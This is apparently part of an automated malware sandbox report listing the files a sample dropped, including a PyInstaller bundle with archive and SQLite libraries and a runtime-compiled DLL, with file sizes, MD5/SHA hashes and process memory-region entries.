          ca40732f885379489d75a2dec8eb68a7cce024f7302dd86d63f075e2745a1e7d

          SHA512

          8f802c2e717b0cb47c3eeea990ffa0214f17d00c79ce65a0c0824a4f095bde9a3d9d85efb38f8f2535e703476cb6f379195565761a0b1d738d045d7bb2c0b542

        • C:\Users\Admin\AppData\Local\Temp\_MEI21002\blank.aes

          Filesize

          117KB

          MD5

          a431fa408b25ec7def4b265743351446

          SHA1

          e23eff402425f6e9db2e11bed49cb48bb4b0f8ae

          SHA256

          a7a9a34282f90a08e345ea15a1824859232dd4450cb5b2103c58ea0677860c8b

          SHA512

          4020e1db51f959417854a5c5e92d3fef0d6e0b739c53fa09a762bad3441d12983853e07ea42423f3f3a6ca4d67967ecccc621abd181c9011c9cc189ad3aefbbf

        • C:\Users\Admin\AppData\Local\Temp\_MEI21002\blank.aes

          Filesize

          117KB

          MD5

          36ddc3e12e520af6d52d063b3b15a213

          SHA1

          6e01808e1fd71ef184f2f781a51fbcff8f67d865

          SHA256

          eda87200a2157bd045b1a44998b4a3c47aac7b81a4ad5ce8177a1b3b07a02bbc

          SHA512

          81c7771e5d5bc83fc61a5975f331206c824d2810c3c3b3c5ac6e26b45227f7b2594044f4f145de49b3e167d4869b6db2155484102e3637c48e7e1f5667ba37c6

        • C:\Users\Admin\AppData\Local\Temp\_MEI21002\libcrypto-3.dll

          Filesize

          1.6MB

          MD5

          27515b5bb912701abb4dfad186b1da1f

          SHA1

          3fcc7e9c909b8d46a2566fb3b1405a1c1e54d411

          SHA256

          fe80bd2568f8628032921fe7107bd611257ff64c679c6386ef24ba25271b348a

          SHA512

          087dfdede2a2e6edb3131f4fde2c4df25161bee9578247ce5ec2bce03e17834898eb8d18d1c694e4a8c5554ad41392d957e750239d3684a51a19993d3f32613c

        • C:\Users\Admin\AppData\Local\Temp\_MEI21002\libssl-3.dll

          Filesize

          223KB

          MD5

          6eda5a055b164e5e798429dcd94f5b88

          SHA1

          2c5494379d1efe6b0a101801e09f10a7cb82dbe9

          SHA256

          377da6175c8a3815d164561350ae1df22e024bc84c55ae5d2583b51dfd0a19a8

          SHA512

          74283b4051751f9e4fd0f4b92ca4b953226c155fe4730d737d7ce41a563d6f212da770e96506d1713d8327d6fef94bae4528336ebcfb07e779de0e0f0cb31f2e

        • C:\Users\Admin\AppData\Local\Temp\_MEI21002\python311.dll

          Filesize

          1.6MB

          MD5

          0b66c50e563d74188a1e96d6617261e8

          SHA1

          cfd778b3794b4938e584078cbfac0747a8916d9e

          SHA256

          02c665f77db6b255fc62f978aedbe2092b7ef1926836290da68fd838dbf2a9f2

          SHA512

          37d710cb5c0ceb5957d11b61684cfbc65951c1d40ab560f3f3cb8feca42f9d43bd981a0ff44c3cb7562779264f18116723457e79e0e23852d7638b1a954a258f

        • C:\Users\Admin\AppData\Local\Temp\_MEI21002\rar.exe

          Filesize

          615KB

          MD5

          9c223575ae5b9544bc3d69ac6364f75e

          SHA1

          8a1cb5ee02c742e937febc57609ac312247ba386

          SHA256

          90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213

          SHA512

          57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

        • C:\Users\Admin\AppData\Local\Temp\_MEI21002\rarreg.key

          Filesize

          456B

          MD5

          4531984cad7dacf24c086830068c4abe

          SHA1

          fa7c8c46677af01a83cf652ef30ba39b2aae14c3

          SHA256

          58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211

          SHA512

          00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

        • C:\Users\Admin\AppData\Local\Temp\_MEI21002\select.pyd

          Filesize

          25KB

          MD5

          1e9e36e61651c3ad3e91aba117edc8d1

          SHA1

          61ab19f15e692704139db2d7fb3ac00c461f9f8b

          SHA256

          5a91ba7ea3cf48033a85247fc3b1083f497bc060778dcf537ca382a337190093

          SHA512

          b367e00e1a8a3e7af42d997b59e180dfca7e31622558398c398f594d619b91cedc4879bfdda303d37f31dfcc3447faa88f65fd13bac109889cee8c1e3c1d62d0

        • C:\Users\Admin\AppData\Local\Temp\_MEI21002\sqlite3.dll

          Filesize

          622KB

          MD5

          c78fab9114164ac981902c44d3cd9b37

          SHA1

          cb34dff3cf82160731c7da5527c9f3e7e7f113b7

          SHA256

          4569acfa25dda192becda0d79f4254ce548a718b566792d73c43931306cc5242

          SHA512

          bf82ccc02248be669fe4e28d8342b726cf52c4ec2bfe2ec1f71661528e2d8df03781ae5ccf005a6022d59a90e36cea7d3c7a495bd11bf149319c891c00ac669b

        • C:\Users\Admin\AppData\Local\Temp\_MEI21002\unicodedata.pyd

          Filesize

          295KB

          MD5

          af87b4aa3862a59d74ff91be300ee9e3

          SHA1

          e5bfd29f92c28afa79a02dc97a26ed47e4f199b4

          SHA256

          fac71c7622957fe0773214c7432364d7fc39c5e12250ff9eaaeea4d897564dc7

          SHA512

          1fb0b8100dffd18c433c4aa97a4f2da76ff6e62e2ef2139edc4f98603ba0bb1c27b310b187b5070cf4e892ffc2d09661a6914defa4509c99b60bcbb50f70f4a0

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ppu5wd3g.ynf.ps1

          Filesize

          1B

          MD5

          c4ca4238a0b923820dcc509a6f75849b

          SHA1

          356a192b7913b04c54574d18c28d46e6395428ab

          SHA256

          6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

          SHA512

          4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

        • C:\Users\Admin\AppData\Local\Temp\eix4fvew\eix4fvew.dll

          Filesize

          4KB

          MD5

          f8ef1182e5ec6c4263c5034ee834c326

          SHA1

          7b0de43f86994ccfe6e1ebf519e41577b2d2434e

          SHA256

          2669cbf6356563c01c0a6cd24ef3b1d2cd2c31687d0e7e492c14fbc17af7573b

          SHA512

          d77be35721be793eb33cb81fb4612bff98946f39e30c4a837a9e861b24a15174105beb53c05c904f3910c3fe9a9391f29c4cf1376245034438caa1fe67d32276

        • C:\Users\Admin\AppData\Local\Temp\ ‏‌‌​ ​ ‎ \Display (1).png

          Filesize

          456KB

          MD5

          73ef370a9505ea744caa90d75baf5118

          SHA1

          1d30f3f7330d2f29edc349129567864e4f86a9e8

          SHA256

          02f4bd8f4c9d8681b306edc62d23352e6d02781c55e766f7c08b5949e35e73af

          SHA512

          1267d2698a507af49b27b22b306db6e1b0901085833095e226517cfaa2839e6b744fb7eaa83a6d9fd2dcc92ff69c6175e965585775b68195952d5657c7e1e94e

        • \??\c:\Users\Admin\AppData\Local\Temp\eix4fvew\CSC1D5739AF3A3D41C696F33B43BFA24984.TMP

          Filesize

          652B

          MD5

          d05deffa8b5bc1888def5185c6fab551

          SHA1

          d9e4508b951d4e7683924fba1b479e7ff036d6df

          SHA256

          e0f754f10c5c8bbc92e46d8bd12da739bab8b0f4a57de5fc2ce467dd42bea1ad

          SHA512

          c95c9154280ad090d85927054581a60178691393dc1c5f1ac2b8c60dd60220cef7b631ea01bed8f1debde9bcaaecec095c3d87a2f770e87c69a252a76b655901

        • \??\c:\Users\Admin\AppData\Local\Temp\eix4fvew\eix4fvew.0.cs

          Filesize

          1004B

          MD5

          c76055a0388b713a1eabe16130684dc3

          SHA1

          ee11e84cf41d8a43340f7102e17660072906c402

          SHA256

          8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

          SHA512

          22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

        • \??\c:\Users\Admin\AppData\Local\Temp\eix4fvew\eix4fvew.cmdline

          Filesize

          607B

          MD5

          bf1c1a573485a737e97caa00493e43fb

          SHA1

          78c213f121c0c847fd3aa2212fa6737064a70575

          SHA256

          602425e913fd2d484e5509513bc3200d90c5beeb8f573de2f672c7494bba4a6e

          SHA512

          1746aedcfd21d608fec80045f45d02f9917264242e85ded798c313de8e5c0b93ed03d8e50e02581114d24a25f9343d16d6b5390243e8661dd0abea3f2091376b

        • \Users\Admin\AppData\Local\Temp\_MEI21002\VCRUNTIME140.dll

          Filesize

          106KB

          MD5

          4585a96cc4eef6aafd5e27ea09147dc6

          SHA1

          489cfff1b19abbec98fda26ac8958005e88dd0cb

          SHA256

          a8f950b4357ec12cfccddc9094cca56a3d5244b95e09ea6e9a746489f2d58736

          SHA512

          d78260c66331fe3029d2cc1b41a5d002ec651f2e3bbf55076d65839b5e3c6297955afd4d9ab8951fbdc9f929dbc65eb18b14b59bce1f2994318564eb4920f286

        • \Users\Admin\AppData\Local\Temp\_MEI21002\libffi-8.dll

          Filesize

          29KB

          MD5

          08b000c3d990bc018fcb91a1e175e06e

          SHA1

          bd0ce09bb3414d11c91316113c2becfff0862d0d

          SHA256

          135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece

          SHA512

          8820d297aeda5a5ebe1306e7664f7a95421751db60d71dc20da251bcdfdc73f3fd0b22546bd62e62d7aa44dfe702e4032fe78802fb16ee6c2583d65abc891cbf

        • memory/1088-322-0x00007FFCCA010000-0x00007FFCCA5F9000-memory.dmp

          Filesize

          5.9MB

        • memory/1088-62-0x00007FFCCEEF0000-0x00007FFCCEF13000-memory.dmp

          Filesize

          140KB

        • memory/1088-78-0x00007FFCC9AE0000-0x00007FFCCA002000-memory.dmp

          Filesize

          5.1MB

        • memory/1088-82-0x00007FFCD1D20000-0x00007FFCD1D2D000-memory.dmp

          Filesize

          52KB

        • memory/1088-84-0x00007FFCCE280000-0x00007FFCCE39C000-memory.dmp

          Filesize

          1.1MB

        • memory/1088-35-0x00007FFCCEF80000-0x00007FFCCEFA3000-memory.dmp

          Filesize

          140KB

        • memory/1088-319-0x00007FFCCE880000-0x00007FFCCE894000-memory.dmp

          Filesize

          80KB

        • memory/1088-77-0x000001E0AAF30000-0x000001E0AB452000-memory.dmp

          Filesize

          5.1MB

        • memory/1088-75-0x00007FFCCA010000-0x00007FFCCA5F9000-memory.dmp

          Filesize

          5.9MB

        • memory/1088-76-0x00007FFCCEF80000-0x00007FFCCEFA3000-memory.dmp

          Filesize

          140KB

        • memory/1088-36-0x00007FFCD3830000-0x00007FFCD383F000-memory.dmp

          Filesize

          60KB

        • memory/1088-72-0x00007FFCCE3A0000-0x00007FFCCE46D000-memory.dmp

          Filesize

          820KB

        • memory/1088-70-0x00007FFCCEBD0000-0x00007FFCCEC03000-memory.dmp

          Filesize

          204KB

        • memory/1088-67-0x00007FFCCEC10000-0x00007FFCCEC29000-memory.dmp

          Filesize

          100KB

        • memory/1088-68-0x00007FFCD20C0000-0x00007FFCD20CD000-memory.dmp

          Filesize

          52KB

        • memory/1088-320-0x00007FFCD1D20000-0x00007FFCD1D2D000-memory.dmp

          Filesize

          52KB

        • memory/1088-64-0x00007FFCCE8A0000-0x00007FFCCEA17000-memory.dmp

          Filesize

          1.5MB

        • memory/1088-80-0x00007FFCCE880000-0x00007FFCCE894000-memory.dmp

          Filesize

          80KB

        • memory/1088-29-0x00007FFCCA010000-0x00007FFCCA5F9000-memory.dmp

          Filesize

          5.9MB

        • memory/1088-60-0x00007FFCD1ED0000-0x00007FFCD1EE9000-memory.dmp

          Filesize

          100KB

        • memory/1088-58-0x00007FFCCEF50000-0x00007FFCCEF7D000-memory.dmp

          Filesize

          180KB

        • memory/1088-318-0x00007FFCC9AE0000-0x00007FFCCA002000-memory.dmp

          Filesize

          5.1MB

        • memory/1088-332-0x00007FFCCE3A0000-0x00007FFCCE46D000-memory.dmp

          Filesize

          820KB

        • memory/1088-331-0x00007FFCCEBD0000-0x00007FFCCEC03000-memory.dmp

          Filesize

          204KB

        • memory/1088-330-0x00007FFCD20C0000-0x00007FFCD20CD000-memory.dmp

          Filesize

          52KB

        • memory/1088-329-0x00007FFCCEC10000-0x00007FFCCEC29000-memory.dmp

          Filesize

          100KB

        • memory/1088-328-0x00007FFCCE8A0000-0x00007FFCCEA17000-memory.dmp

          Filesize

          1.5MB

        • memory/1088-327-0x00007FFCCEEF0000-0x00007FFCCEF13000-memory.dmp

          Filesize

          140KB

        • memory/1088-326-0x00007FFCD1ED0000-0x00007FFCD1EE9000-memory.dmp

          Filesize

          100KB

        • memory/1088-325-0x00007FFCCEF50000-0x00007FFCCEF7D000-memory.dmp

          Filesize

          180KB

        • memory/1088-324-0x00007FFCCEF80000-0x00007FFCCEFA3000-memory.dmp

          Filesize

          140KB

        • memory/1088-323-0x00007FFCD3830000-0x00007FFCD383F000-memory.dmp

          Filesize

          60KB

        • memory/1088-321-0x00007FFCCE280000-0x00007FFCCE39C000-memory.dmp

          Filesize

          1.1MB

        • memory/1992-93-0x000001CFC6090000-0x000001CFC60B2000-memory.dmp

          Filesize

          136KB

        • memory/2376-98-0x000002846C000000-0x000002846C076000-memory.dmp

          Filesize

          472KB

        • memory/4020-249-0x0000019BDFB90000-0x0000019BDFB98000-memory.dmp

          Filesize

          32KB